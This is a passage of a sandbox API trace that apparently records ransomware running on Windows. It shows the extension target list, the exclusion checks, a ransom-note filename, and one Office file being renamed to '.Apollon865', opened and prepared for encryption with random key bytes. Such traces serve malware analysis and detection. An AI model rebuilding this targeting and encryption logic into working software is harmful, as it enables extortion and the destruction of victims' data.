	[0070.395] lstrlenW (lpString="accdw") returned 5
	[0070.395] lstrcmpiW (lpString1="h.dll", lpString2="accdw") returned 1
	[0070.395] lstrlenW (lpString="accft") returned 5
	[0070.395] lstrcmpiW (lpString1="h.dll", lpString2="accft") returned 1
	[0070.395] lstrlenW (lpString="adb") returned 3
	[0070.395] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1
	[0070.395] lstrlenW (lpString="adb") returned 3
	[0070.395] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1
	[0070.395] lstrlenW (lpString="ade") returned 3
	[0070.395] lstrcmpiW (lpString1="dll", lpString2="ade") returned 1
	[0070.395] lstrlenW (lpString="adf") returned 3
	[0070.395] lstrcmpiW (lpString1="dll", lpString2="adf") returned 1
	[0070.395] lstrlenW (lpString="adn") returned 3
	[0070.395] lstrcmpiW (lpString1="dll", lpString2="adn") returned 1
	[0070.395] lstrlenW (lpString="adp") returned 3
	[0070.395] lstrcmpiW (lpString1="dll", lpString2="adp") returned 1
	[0070.395] lstrlenW (lpString="alf") returned 3
	[0070.395] lstrcmpiW (lpString1="dll", lpString2="alf") returned 1
	[0070.395] lstrlenW (lpString="ask") returned 3
	[0070.395] lstrcmpiW (lpString1="dll", lpString2="ask") returned 1
	[0070.395] lstrlenW (lpString="btr") returned 3
	[0070.395] lstrcmpiW (lpString1="dll", lpString2="btr") returned 1
	[0070.395] lstrlenW (lpString="cat") returned 3
	[0070.395] lstrcmpiW (lpString1="dll", lpString2="cat") returned 1
	[0070.395] lstrlenW (lpString="cdb") returned 3
	[0070.395] lstrcmpiW (lpString1="dll", lpString2="cdb") returned 1
	[0070.395] lstrlenW (lpString="ckp") returned 3
	[0070.395] lstrcmpiW (lpString1="dll", lpString2="ckp") returned 1
	[0070.395] lstrlenW (lpString="cma") returned 3
	[0070.395] lstrcmpiW (lpString1="dll", lpString2="cma") returned 1
	[0070.395] lstrlenW (lpString="cpd") returned 3
	[0070.395] lstrcmpiW (lpString1="dll", lpString2="cpd") returned 1
	[0070.395] lstrlenW (lpString="dacpac") returned 6
	[0070.395] lstrcmpiW (lpString1="th.dll", lpString2="dacpac") returned 1
	[0070.395] lstrlenW (lpString="dad") returned 3
	[0070.395] lstrcmpiW (lpString1="dll", lpString2="dad") returned 1
	[0070.396] lstrlenW (lpString="dadiagrams") returned 10
	[0070.396] lstrcmpiW (lpString1="fopath.dll", lpString2="dadiagrams") returned 1
	[0070.396] lstrlenW (lpString="daschema") returned 8
	[0070.396] lstrcmpiW (lpString1="path.dll", lpString2="daschema") returned 1
	[0070.396] lstrlenW (lpString="db-journal") returned 10
	[0070.396] lstrcmpiW (lpString1="fopath.dll", lpString2="db-journal") returned 1
	[0070.396] lstrlenW (lpString="db-shm") returned 6
	[0070.396] lstrcmpiW (lpString1="th.dll", lpString2="db-shm") returned 1
	[0070.396] lstrlenW (lpString="db-wal") returned 6
	[0070.396] lstrcmpiW (lpString1="th.dll", lpString2="db-wal") returned 1
	[0070.396] lstrlenW (lpString="dbc") returned 3
	[0070.396] lstrcmpiW (lpString1="dll", lpString2="dbc") returned 1
	[0070.396] lstrlenW (lpString="dbs") returned 3
	[0070.396] lstrcmpiW (lpString1="dll", lpString2="dbs") returned 1
	[0070.396] lstrlenW (lpString="dbt") returned 3
	[0070.396] lstrcmpiW (lpString1="dll", lpString2="dbt") returned 1
	[0070.396] lstrlenW (lpString="dbv") returned 3
	[0070.396] lstrcmpiW (lpString1="dll", lpString2="dbv") returned 1
	[0070.396] lstrlenW (lpString="dbx") returned 3
	[0070.396] lstrcmpiW (lpString1="dll", lpString2="dbx") returned 1
	[0070.396] lstrlenW (lpString="dcb") returned 3
	[0070.396] lstrcmpiW (lpString1="dll", lpString2="dcb") returned 1
	[0070.396] lstrlenW (lpString="dct") returned 3
	[0070.396] lstrcmpiW (lpString1="dll", lpString2="dct") returned 1
	[0070.396] lstrlenW (lpString="dcx") returned 3
	[0070.396] lstrcmpiW (lpString1="dll", lpString2="dcx") returned 1
	[0070.396] lstrlenW (lpString="ddl") returned 3
	[0070.396] lstrcmpiW (lpString1="dll", lpString2="ddl") returned 1
	[0070.396] lstrlenW (lpString="dlis") returned 4
	[0070.396] lstrcmpiW (lpString1=".dll", lpString2="dlis") returned -1
	[0070.396] lstrlenW (lpString="dp1") returned 3
	[0070.396] lstrcmpiW (lpString1="dll", lpString2="dp1") returned -1
	[0070.396] lstrlenW (lpString="dqy") returned 3
	[0070.396] lstrcmpiW (lpString1="dll", lpString2="dqy") returned -1
	[0070.396] lstrlenW (lpString="dsk") returned 3
	[0070.396] lstrcmpiW (lpString1="dll", lpString2="dsk") returned -1
	[0070.396] lstrlenW (lpString="dsn") returned 3
	[0070.397] lstrcmpiW (lpString1="dll", lpString2="dsn") returned -1
	[0070.397] lstrlenW (lpString="dtsx") returned 4
	[0070.397] lstrcmpiW (lpString1=".dll", lpString2="dtsx") returned -1
	[0070.397] lstrlenW (lpString="dxl") returned 3
	[0070.397] lstrcmpiW (lpString1="dll", lpString2="dxl") returned -1
	[0070.397] lstrlenW (lpString="eco") returned 3
	[0070.397] lstrcmpiW (lpString1="dll", lpString2="eco") returned -1
	[0070.397] lstrlenW (lpString="ecx") returned 3
	[0070.397] lstrcmpiW (lpString1="dll", lpString2="ecx") returned -1
	[0070.397] lstrlenW (lpString="edb") returned 3
	[0070.397] lstrcmpiW (lpString1="dll", lpString2="edb") returned -1
	[0070.397] lstrlenW (lpString="epim") returned 4
	[0070.397] lstrcmpiW (lpString1=".dll", lpString2="epim") returned -1
	[0070.397] lstrlenW (lpString="fcd") returned 3
	[0070.397] lstrcmpiW (lpString1="dll", lpString2="fcd") returned -1
	[0070.397] lstrlenW (lpString="fdb") returned 3
	[0070.397] lstrcmpiW (lpString1="dll", lpString2="fdb") returned -1
	[0070.397] lstrlenW (lpString="fic") returned 3
	[0070.397] lstrcmpiW (lpString1="dll", lpString2="fic") returned -1
	[0070.397] lstrlenW (lpString="flexolibrary") returned 12
	[0070.397] lstrcmpiW (lpString1="Infopath.dll", lpString2="flexolibrary") returned 1
	[0070.397] lstrlenW (lpString="fm5") returned 3
	[0070.397] lstrcmpiW (lpString1="dll", lpString2="fm5") returned -1
	[0070.397] lstrlenW (lpString="fmp") returned 3
	[0070.397] lstrcmpiW (lpString1="dll", lpString2="fmp") returned -1
	[0070.397] lstrlenW (lpString="fmp12") returned 5
	[0070.397] lstrcmpiW (lpString1="h.dll", lpString2="fmp12") returned 1
	[0070.397] lstrlenW (lpString="fmpsl") returned 5
	[0070.397] lstrcmpiW (lpString1="h.dll", lpString2="fmpsl") returned 1
	[0070.397] lstrlenW (lpString="fol") returned 3
	[0070.397] lstrcmpiW (lpString1="dll", lpString2="fol") returned -1
	[0070.397] lstrlenW (lpString="fp3") returned 3
	[0070.397] lstrcmpiW (lpString1="dll", lpString2="fp3") returned -1
	[0070.397] lstrlenW (lpString="fp4") returned 3
	[0070.397] lstrcmpiW (lpString1="dll", lpString2="fp4") returned -1
	[0070.397] lstrlenW (lpString="fp5") returned 3
	[0070.397] lstrcmpiW (lpString1="dll", lpString2="fp5") returned -1
	[0070.397] lstrlenW (lpString="fp7") returned 3
	[0070.398] lstrcmpiW (lpString1="dll", lpString2="fp7") returned -1
	[0070.398] lstrlenW (lpString="fpt") returned 3
	[0070.398] lstrcmpiW (lpString1="dll", lpString2="fpt") returned -1
	[0070.398] lstrlenW (lpString="frm") returned 3
	[0070.398] lstrcmpiW (lpString1="dll", lpString2="frm") returned -1
	[0070.398] lstrlenW (lpString="gdb") returned 3
	[0070.398] lstrcmpiW (lpString1="dll", lpString2="gdb") returned -1
	[0070.398] lstrlenW (lpString="gdb") returned 3
	[0070.398] lstrcmpiW (lpString1="dll", lpString2="gdb") returned -1
	[0070.398] lstrlenW (lpString="grdb") returned 4
	[0070.398] lstrcmpiW (lpString1=".dll", lpString2="grdb") returned -1
	[0070.398] lstrlenW (lpString="gwi") returned 3
	[0070.398] lstrcmpiW (lpString1="dll", lpString2="gwi") returned -1
	[0070.398] lstrlenW (lpString="hdb") returned 3
	[0070.398] lstrcmpiW (lpString1="dll", lpString2="hdb") returned -1
	[0070.398] lstrlenW (lpString="his") returned 3
	[0070.398] lstrcmpiW (lpString1="dll", lpString2="his") returned -1
	[0070.398] lstrlenW (lpString="ib") returned 2
	[0070.398] lstrcmpiW (lpString1="ll", lpString2="ib") returned 1
	[0070.398] lstrlenW (lpString="idb") returned 3
	[0070.398] lstrcmpiW (lpString1="dll", lpString2="idb") returned -1
	[0070.398] lstrlenW (lpString="ihx") returned 3
	[0070.398] lstrcmpiW (lpString1="dll", lpString2="ihx") returned -1
	[0070.398] lstrlenW (lpString="itdb") returned 4
	[0070.398] lstrcmpiW (lpString1=".dll", lpString2="itdb") returned -1
	[0070.398] lstrlenW (lpString="itw") returned 3
	[0070.398] lstrcmpiW (lpString1="dll", lpString2="itw") returned -1
	[0070.398] lstrlenW (lpString="jet") returned 3
	[0070.398] lstrcmpiW (lpString1="dll", lpString2="jet") returned -1
	[0070.398] lstrlenW (lpString="jtx") returned 3
	[0070.398] lstrcmpiW (lpString1="dll", lpString2="jtx") returned -1
	[0070.398] lstrlenW (lpString="kdb") returned 3
	[0070.398] lstrcmpiW (lpString1="dll", lpString2="kdb") returned -1
	[0070.398] lstrlenW (lpString="kexi") returned 4
	[0070.398] lstrcmpiW (lpString1=".dll", lpString2="kexi") returned -1
	[0070.398] lstrlenW (lpString="kexic") returned 5
	[0070.398] lstrcmpiW (lpString1="h.dll", lpString2="kexic") returned -1
	[0070.398] lstrlenW (lpString="kexis") returned 5
	[0070.399] lstrcmpiW (lpString1="h.dll", lpString2="kexis") returned -1
	[0070.399] lstrlenW (lpString="lgc") returned 3
	[0070.399] lstrcmpiW (lpString1="dll", lpString2="lgc") returned -1
	[0070.399] lstrlenW (lpString="lwx") returned 3
	[0070.399] lstrcmpiW (lpString1="dll", lpString2="lwx") returned -1
	[0070.399] lstrlenW (lpString="maf") returned 3
	[0070.399] lstrcmpiW (lpString1="dll", lpString2="maf") returned -1
	[0070.399] lstrlenW (lpString="maq") returned 3
	[0070.399] lstrcmpiW (lpString1="dll", lpString2="maq") returned -1
	[0070.399] lstrlenW (lpString="mar") returned 3
	[0070.399] lstrcmpiW (lpString1="dll", lpString2="mar") returned -1
	[0070.399] lstrlenW (lpString="marshal") returned 7
	[0070.399] lstrcmpiW (lpString1="ath.dll", lpString2="marshal") returned -1
	[0070.399] lstrlenW (lpString="mas") returned 3
	[0070.399] lstrcmpiW (lpString1="dll", lpString2="mas") returned -1
	[0070.399] lstrlenW (lpString="mav") returned 3
	[0070.399] lstrcmpiW (lpString1="dll", lpString2="mav") returned -1
	[0070.399] lstrlenW (lpString="maw") returned 3
	[0070.399] lstrcmpiW (lpString1="dll", lpString2="maw") returned -1
	[0070.399] lstrlenW (lpString="mdbhtml") returned 7
	[0070.399] lstrcmpiW (lpString1="ath.dll", lpString2="mdbhtml") returned -1
	[0070.399] lstrlenW (lpString="mdn") returned 3
	[0070.399] lstrcmpiW (lpString1="dll", lpString2="mdn") returned -1
	[0070.399] lstrlenW (lpString="mdt") returned 3
	[0070.399] lstrcmpiW (lpString1="dll", lpString2="mdt") returned -1
	[0070.399] lstrlenW (lpString="mfd") returned 3
	[0070.399] lstrcmpiW (lpString1="dll", lpString2="mfd") returned -1
	[0070.399] lstrlenW (lpString="mpd") returned 3
	[0070.399] lstrcmpiW (lpString1="dll", lpString2="mpd") returned -1
	[0070.399] lstrlenW (lpString="mrg") returned 3
	[0070.399] lstrcmpiW (lpString1="dll", lpString2="mrg") returned -1
	[0070.399] lstrlenW (lpString="mud") returned 3
	[0070.399] lstrcmpiW (lpString1="dll", lpString2="mud") returned -1
	[0070.399] lstrlenW (lpString="mwb") returned 3
	[0070.399] lstrcmpiW (lpString1="dll", lpString2="mwb") returned -1
	[0070.399] lstrlenW (lpString="myd") returned 3
	[0070.399] lstrcmpiW (lpString1="dll", lpString2="myd") returned -1
	[0070.399] lstrlenW (lpString="ndf") returned 3
	[0070.400] lstrcmpiW (lpString1="dll", lpString2="ndf") returned -1
	[0070.400] lstrlenW (lpString="nnt") returned 3
	[0070.400] lstrcmpiW (lpString1="dll", lpString2="nnt") returned -1
	[0070.400] lstrlenW (lpString="nrmlib") returned 6
	[0070.400] lstrcmpiW (lpString1="th.dll", lpString2="nrmlib") returned 1
	[0070.400] lstrlenW (lpString="ns2") returned 3
	[0070.400] lstrcmpiW (lpString1="dll", lpString2="ns2") returned -1
	[0070.400] lstrlenW (lpString="ns3") returned 3
	[0070.400] lstrcmpiW (lpString1="dll", lpString2="ns3") returned -1
	[0070.400] lstrlenW (lpString="ns4") returned 3
	[0070.400] lstrcmpiW (lpString1="dll", lpString2="ns4") returned -1
	[0070.400] lstrlenW (lpString="nsf") returned 3
	[0070.400] lstrcmpiW (lpString1="dll", lpString2="nsf") returned -1
	[0070.400] lstrlenW (lpString="nv") returned 2
	[0070.400] lstrcmpiW (lpString1="ll", lpString2="nv") returned -1
	[0070.400] lstrlenW (lpString="nv2") returned 3
	[0070.400] lstrcmpiW (lpString1="dll", lpString2="nv2") returned -1
	[0070.400] lstrlenW (lpString="nwdb") returned 4
	[0070.400] lstrcmpiW (lpString1=".dll", lpString2="nwdb") returned -1
	[0070.400] lstrlenW (lpString="nyf") returned 3
	[0070.400] lstrcmpiW (lpString1="dll", lpString2="nyf") returned -1
	[0070.400] lstrlenW (lpString="odb") returned 3
	[0070.400] lstrcmpiW (lpString1="dll", lpString2="odb") returned -1
	[0070.400] lstrlenW (lpString="odb") returned 3
	[0070.400] lstrcmpiW (lpString1="dll", lpString2="odb") returned -1
	[0070.400] lstrlenW (lpString="oqy") returned 3
	[0070.400] lstrcmpiW (lpString1="dll", lpString2="oqy") returned -1
	[0070.400] lstrlenW (lpString="ora") returned 3
	[0070.400] lstrcmpiW (lpString1="dll", lpString2="ora") returned -1
	[0070.400] lstrlenW (lpString="orx") returned 3
	[0070.400] lstrcmpiW (lpString1="dll", lpString2="orx") returned -1
	[0070.400] lstrlenW (lpString="owc") returned 3
	[0070.400] lstrcmpiW (lpString1="dll", lpString2="owc") returned -1
	[0070.400] lstrlenW (lpString="p96") returned 3
	[0070.400] lstrcmpiW (lpString1="dll", lpString2="p96") returned -1
	[0070.400] lstrlenW (lpString="p97") returned 3
	[0070.400] lstrcmpiW (lpString1="dll", lpString2="p97") returned -1
	[0070.400] lstrlenW (lpString="pan") returned 3
	[0070.401] lstrcmpiW (lpString1="dll", lpString2="pan") returned -1
	[0070.401] lstrlenW (lpString="pdb") returned 3
	[0070.401] lstrcmpiW (lpString1="dll", lpString2="pdb") returned -1
	[0070.401] lstrlenW (lpString="pdm") returned 3
	[0070.401] lstrcmpiW (lpString1="dll", lpString2="pdm") returned -1
	[0070.401] lstrlenW (lpString="pnz") returned 3
	[0070.401] lstrcmpiW (lpString1="dll", lpString2="pnz") returned -1
	[0070.401] lstrlenW (lpString="qry") returned 3
	[0070.401] lstrcmpiW (lpString1="dll", lpString2="qry") returned -1
	[0070.401] lstrlenW (lpString="qvd") returned 3
	[0070.401] lstrcmpiW (lpString1="dll", lpString2="qvd") returned -1
	[0070.401] lstrlenW (lpString="rbf") returned 3
	[0070.401] lstrcmpiW (lpString1="dll", lpString2="rbf") returned -1
	[0070.401] lstrlenW (lpString="rctd") returned 4
	[0070.401] lstrcmpiW (lpString1=".dll", lpString2="rctd") returned -1
	[0070.401] lstrlenW (lpString="rod") returned 3
	[0070.401] lstrcmpiW (lpString1="dll", lpString2="rod") returned -1
	[0070.401] lstrlenW (lpString="rodx") returned 4
	[0070.401] lstrcmpiW (lpString1=".dll", lpString2="rodx") returned -1
	[0070.401] lstrlenW (lpString="rpd") returned 3
	[0070.401] lstrcmpiW (lpString1="dll", lpString2="rpd") returned -1
	[0070.401] lstrlenW (lpString="rsd") returned 3
	[0070.401] lstrcmpiW (lpString1="dll", lpString2="rsd") returned -1
	[0070.401] lstrlenW (lpString="sas7bdat") returned 8
	[0070.401] lstrcmpiW (lpString1="path.dll", lpString2="sas7bdat") returned -1
	[0070.401] lstrlenW (lpString="sbf") returned 3
	[0070.401] lstrcmpiW (lpString1="dll", lpString2="sbf") returned -1
	[0070.401] lstrlenW (lpString="scx") returned 3
	[0070.401] lstrcmpiW (lpString1="dll", lpString2="scx") returned -1
	[0070.401] lstrlenW (lpString="sdb") returned 3
	[0070.401] lstrcmpiW (lpString1="dll", lpString2="sdb") returned -1
	[0070.401] lstrlenW (lpString="sdc") returned 3
	[0070.401] lstrcmpiW (lpString1="dll", lpString2="sdc") returned -1
	[0070.401] lstrlenW (lpString="sdf") returned 3
	[0070.401] lstrcmpiW (lpString1="dll", lpString2="sdf") returned -1
	[0070.401] lstrlenW (lpString="sis") returned 3
	[0070.401] lstrcmpiW (lpString1="dll", lpString2="sis") returned -1
	[0070.402] lstrlenW (lpString="spq") returned 3
	[0070.402] lstrcmpiW (lpString1="dll", lpString2="spq") returned -1
	[0070.402] lstrlenW (lpString="te") returned 2
	[0070.402] lstrcmpiW (lpString1="ll", lpString2="te") returned -1
	[0070.402] lstrlenW (lpString="teacher") returned 7
	[0070.402] lstrcmpiW (lpString1="ath.dll", lpString2="teacher") returned -1
	[0070.402] lstrlenW (lpString="tmd") returned 3
	[0070.402] lstrcmpiW (lpString1="dll", lpString2="tmd") returned -1
	[0070.402] lstrlenW (lpString="tps") returned 3
	[0070.402] lstrcmpiW (lpString1="dll", lpString2="tps") returned -1
	[0070.402] lstrlenW (lpString="trc") returned 3
	[0070.402] lstrcmpiW (lpString1="dll", lpString2="trc") returned -1
	[0070.402] lstrlenW (lpString="trc") returned 3
	[0070.402] lstrcmpiW (lpString1="dll", lpString2="trc") returned -1
	[0070.402] lstrlenW (lpString="trm") returned 3
	[0070.402] lstrcmpiW (lpString1="dll", lpString2="trm") returned -1
	[0070.402] lstrlenW (lpString="udb") returned 3
	[0070.402] lstrcmpiW (lpString1="dll", lpString2="udb") returned -1
	[0070.402] lstrlenW (lpString="udl") returned 3
	[0070.402] lstrcmpiW (lpString1="dll", lpString2="udl") returned -1
	[0070.402] lstrlenW (lpString="usr") returned 3
	[0070.402] lstrcmpiW (lpString1="dll", lpString2="usr") returned -1
	[0070.402] lstrlenW (lpString="v12") returned 3
	[0070.402] lstrcmpiW (lpString1="dll", lpString2="v12") returned -1
	[0070.402] lstrlenW (lpString="vis") returned 3
	[0070.402] lstrcmpiW (lpString1="dll", lpString2="vis") returned -1
	[0070.402] lstrlenW (lpString="vpd") returned 3
	[0070.402] lstrcmpiW (lpString1="dll", lpString2="vpd") returned -1
	[0070.402] lstrlenW (lpString="vvv") returned 3
	[0070.402] lstrcmpiW (lpString1="dll", lpString2="vvv") returned -1
	[0070.402] lstrlenW (lpString="wdb") returned 3
	[0070.402] lstrcmpiW (lpString1="dll", lpString2="wdb") returned -1
	[0070.402] lstrlenW (lpString="wmdb") returned 4
	[0070.402] lstrcmpiW (lpString1=".dll", lpString2="wmdb") returned -1
	[0070.402] lstrlenW (lpString="wrk") returned 3
	[0070.402] lstrcmpiW (lpString1="dll", lpString2="wrk") returned -1
	[0070.402] lstrlenW (lpString="xdb") returned 3
	[0070.402] lstrcmpiW (lpString1="dll", lpString2="xdb") returned -1
	[0070.403] lstrlenW (lpString="xld") returned 3
	[0070.403] lstrcmpiW (lpString1="dll", lpString2="xld") returned -1
	[0070.403] lstrlenW (lpString="xmlff") returned 5
	[0070.403] lstrcmpiW (lpString1="h.dll", lpString2="xmlff") returned -1
	[0070.403] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8d265900, ftCreationTime.dwHighDateTime=0x1ca5630, ftLastAccessTime.dwLowDateTime=0x64dbf390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8d265900, ftLastWriteTime.dwHighDateTime=0x1ca5630, nFileSizeHigh=0x0, nFileSizeLow=0x3dddf, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Microsoft.Office.InfoPath.xml", cAlternateFileName="MICROS~1.XML")) returned 1
	[0070.403] lstrcmpiW (lpString1="Microsoft.Office.InfoPath.xml", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0070.403] lstrcmpiW (lpString1="Microsoft.Office.InfoPath.xml", lpString2="Apollon865.txt.exe") returned 1
	[0070.403] lstrcmpiW (lpString1="Microsoft.Office.InfoPath.xml", lpString2=".") returned 1
	[0070.403] lstrcmpiW (lpString1="Microsoft.Office.InfoPath.xml", lpString2="..") returned 1
	[0070.403] lstrcmpiW (lpString1="Microsoft.Office.InfoPath.xml", lpString2="windows") returned -1
	[0070.403] lstrcmpiW (lpString1="Microsoft.Office.InfoPath.xml", lpString2="bootmgr") returned 1
	[0070.403] lstrcmpiW (lpString1="Microsoft.Office.InfoPath.xml", lpString2="temp") returned -1
	[0070.403] lstrcmpiW (lpString1="Microsoft.Office.InfoPath.xml", lpString2="pagefile.sys") returned -1
	[0070.403] lstrcmpiW (lpString1="Microsoft.Office.InfoPath.xml", lpString2="boot") returned 1
	[0070.403] lstrcmpiW (lpString1="Microsoft.Office.InfoPath.xml", lpString2="ids.txt") returned 1
	[0070.403] lstrcmpiW (lpString1="Microsoft.Office.InfoPath.xml", lpString2="ntuser.dat") returned -1
	[0070.403] lstrcmpiW (lpString1="Microsoft.Office.InfoPath.xml", lpString2="perflogs") returned -1
	[0070.403] lstrcmpiW (lpString1="Microsoft.Office.InfoPath.xml", lpString2="MSBuild") returned -1
	[0070.403] lstrlenW (lpString="Microsoft.Office.InfoPath.xml") returned 29
	[0070.403] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMV12\\Microsoft.Office.Infopath.dll") returned 97
	[0070.403] lstrcpyW (in: lpString1=0x2d3e5d8, lpString2="Microsoft.Office.InfoPath.xml" | out: lpString1="Microsoft.Office.InfoPath.xml") returned="Microsoft.Office.InfoPath.xml"
	[0070.403] lstrlenW (lpString="Microsoft.Office.InfoPath.xml") returned 29
	[0070.403] lstrlenW (lpString="Apollon865") returned 10
	[0070.403] lstrcmpiW (lpString1="foPath.xml", lpString2="Apollon865") returned 1
	[0070.403] lstrlenW (lpString=".dll") returned 4
	[0070.403] lstrcmpiW (lpString1="Microsoft.Office.InfoPath.xml", lpString2=".dll") returned 1
	[0070.404] lstrlenW (lpString=".lnk") returned 4
	[0070.404] lstrcmpiW (lpString1="Microsoft.Office.InfoPath.xml", lpString2=".lnk") returned 1
	[0070.404] lstrlenW (lpString=".ini") returned 4
	[0070.404] lstrcmpiW (lpString1="Microsoft.Office.InfoPath.xml", lpString2=".ini") returned 1
	[0070.404] lstrlenW (lpString=".sys") returned 4
	[0070.404] lstrcmpiW (lpString1="Microsoft.Office.InfoPath.xml", lpString2=".sys") returned 1
	[0070.404] lstrlenW (lpString="Microsoft.Office.InfoPath.xml") returned 29
	[0070.405] lstrlenW (lpString="bak") returned 3
	[0070.405] lstrcmpiW (lpString1="xml", lpString2="bak") returned 1
	[0070.405] lstrlenW (lpString="ba_") returned 3
	[0070.405] lstrcmpiW (lpString1="xml", lpString2="ba_") returned 1
	[0070.405] lstrlenW (lpString="dbb") returned 3
	[0070.405] lstrcmpiW (lpString1="xml", lpString2="dbb") returned 1
	[0070.405] lstrlenW (lpString="vmdk") returned 4
	[0070.405] lstrcmpiW (lpString1=".xml", lpString2="vmdk") returned -1
	[0070.405] lstrlenW (lpString="rar") returned 3
	[0070.405] lstrcmpiW (lpString1="xml", lpString2="rar") returned 1
	[0070.405] lstrlenW (lpString="zip") returned 3
	[0070.405] lstrcmpiW (lpString1="xml", lpString2="zip") returned -1
	[0070.405] lstrlenW (lpString="tgz") returned 3
	[0070.405] lstrcmpiW (lpString1="xml", lpString2="tgz") returned 1
	[0070.405] lstrlenW (lpString="vbox") returned 4
	[0070.405] lstrcmpiW (lpString1=".xml", lpString2="vbox") returned -1
	[0070.405] lstrlenW (lpString="vdi") returned 3
	[0070.405] lstrcmpiW (lpString1="xml", lpString2="vdi") returned 1
	[0070.405] lstrlenW (lpString="vhd") returned 3
	[0070.405] lstrcmpiW (lpString1="xml", lpString2="vhd") returned 1
	[0070.405] lstrlenW (lpString="vhdx") returned 4
	[0070.405] lstrcmpiW (lpString1=".xml", lpString2="vhdx") returned -1
	[0070.405] lstrlenW (lpString="avhd") returned 4
	[0070.405] lstrcmpiW (lpString1=".xml", lpString2="avhd") returned -1
	[0070.405] lstrlenW (lpString="db") returned 2
	[0070.405] lstrcmpiW (lpString1="ml", lpString2="db") returned 1
	[0070.405] lstrlenW (lpString="db2") returned 3
	[0070.405] lstrcmpiW (lpString1="xml", lpString2="db2") returned 1
	[0070.405] lstrlenW (lpString="db3") returned 3
	[0070.405] lstrcmpiW (lpString1="xml", lpString2="db3") returned 1
	[0070.405] lstrlenW (lpString="dbf") returned 3
	[0070.405] lstrcmpiW (lpString1="xml", lpString2="dbf") returned 1
	[0070.405] lstrlenW (lpString="mdf") returned 3
	[0070.405] lstrcmpiW (lpString1="xml", lpString2="mdf") returned 1
	[0070.405] lstrlenW (lpString="mdb") returned 3
	[0070.405] lstrcmpiW (lpString1="xml", lpString2="mdb") returned 1
	[0070.405] lstrlenW (lpString="sql") returned 3
	[0070.406] lstrcmpiW (lpString1="xml", lpString2="sql") returned 1
	[0070.406] lstrlenW (lpString="sqlite") returned 6
	[0070.406] lstrcmpiW (lpString1="th.xml", lpString2="sqlite") returned 1
	[0070.406] lstrlenW (lpString="sqlite3") returned 7
	[0070.406] lstrcmpiW (lpString1="ath.xml", lpString2="sqlite3") returned -1
	[0070.406] lstrlenW (lpString="sqlitedb") returned 8
	[0070.406] lstrcmpiW (lpString1="Path.xml", lpString2="sqlitedb") returned -1
	[0070.406] lstrlenW (lpString="xml") returned 3
	[0070.406] lstrcmpiW (lpString1="xml", lpString2="xml") returned 0
	[0070.406] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMV12\\Microsoft.Office.InfoPath.xml.Apollon865") returned 108
	[0070.406] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMV12\\Microsoft.Office.InfoPath.xml" (normalized: "c:\\program files\\microsoft office\\office14\\infopathom\\infopathomv12\\microsoft.office.infopath.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMV12\\Microsoft.Office.InfoPath.xml.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\infopathom\\infopathomv12\\microsoft.office.infopath.xml.apollon865"), dwFlags=0x1) returned 1
	[0070.408] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMV12\\Microsoft.Office.InfoPath.xml.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\infopathom\\infopathomv12\\microsoft.office.infopath.xml.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x15c
	[0070.408] GetFileSizeEx (in: hFile=0x15c, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=253407) returned 1
	[0070.409] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0070.409] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a998
	[0070.409] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf5f0
	[0070.409] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf4e0) returned 1
	[0070.410] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0070.410] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0070.410] CreateFileMappingW (hFile=0x15c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3e0e0, lpName=0x0) returned 0x118
	[0070.411] MapViewOfFile (hFileMappingObject=0x118, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x3e0e0) returned 0x120000
	[0070.430] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf4e0) returned 1
	[0070.431] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0070.431] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0070.431] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0070.431] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0070.431] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0070.431] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
